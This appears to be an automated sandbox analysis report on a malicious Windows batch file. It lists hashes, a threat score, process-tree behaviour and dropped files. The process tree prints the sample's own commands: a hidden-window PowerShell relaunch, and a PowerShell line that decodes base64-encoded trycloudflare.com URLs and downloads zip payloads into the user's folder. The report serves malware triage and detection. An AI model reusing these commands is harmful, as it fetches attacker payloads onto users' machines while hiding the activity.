7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e

General

Target
7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat
Size 32KB
Sample251216-hfcxcsvqcs
SHA256 7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e
MD5 4f4b7062ead958aeb1d0088310860300
SHA1 1d587c6cfe7991b0df8be0ea3739869051fa7de8
SHA512 1ec3171b70fdcc73f43ad894df3fffdc8d14a6af295f2e30f4a96bfe2a9c5fd850436a2e348ec8863cc073a40c15975d9ab36b3179a58bf5da364d73d82c8b70
SSDEEP 96:+90pEsQZCi8mtiBKRMLULKdAD2nMhQBOgiCsxrJd7bhLLN4ZraSKkgxk6C:LmsL4IBeMWK+CMhQjb+JJx5MaSPgxkh
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1728	powershell.exe
6060	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1728	powershell.exe
1728	powershell.exe
6060	powershell.exe
6060	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	6060	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 1728	1496	cmd.exe	79
PID 1728 wrote to memory of 5408	1728	powershell.exe	80
PID 5408 wrote to memory of 6020	5408	cmd.exe	82
PID 6020 wrote to memory of 880	6020	cmd.exe	83
PID 6020 wrote to memory of 5024	6020	cmd.exe	84
PID 5408 wrote to memory of 6060	5408	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat\" hidden' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7a3962542b2a4b3f2b4d157c2efbcfaba87f347419de7b2671b84be71c93234e.bat" hidden
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt" | find /c /v ""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6020
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt" "
        5⤵
        
        PID:880
    - - C:\Windows\system32\find.exe
        
        find /c /v ""
        5⤵
        
        PID:5024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9zaGFkb3dzLXVzci1taXNzaXNzaXBwaS1kaXN0aW5ndWlzaGVkLnRyeWNsb3VkZmxhcmUuY29tLzF5bW11LnppcA=='))) -OutFile 'C:\Users\Admin\Contacts\HNOVJ.zip' -ErrorAction Stop } catch { irm ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9wcmVjaW91cy1kdmQtZW5oYW5jZS1qb2hucy50cnljbG91ZGZsYXJlLmNvbS8xLVovMW1haW4uemlw'))) -OutFile 'C:\Users\Admin\Contacts\HNOVJ.zip' }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b7a310f65a970fe4c65c8f9a83f7d402f8527b216a38b17336add7218c5613a5
MD5 7e7db55033ab03221df11bd564f5356f
SHA1 e09bc775bc2948517750504d5bc71b9cbaa0412a
SHA512 c4d5bbfb9f050d6d4b56ace906213952bcc069e132b81bddf22944827a5cd5abc707164b21a42e65ab14ce6bcf2ab5cf51b048f2daa23fe0d8744016acdac476
MD5 SHA1 SHA512

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__PSScriptPolicyTest_jkw4m0sl.2pj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jkw4m0sl.2pj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Analysis

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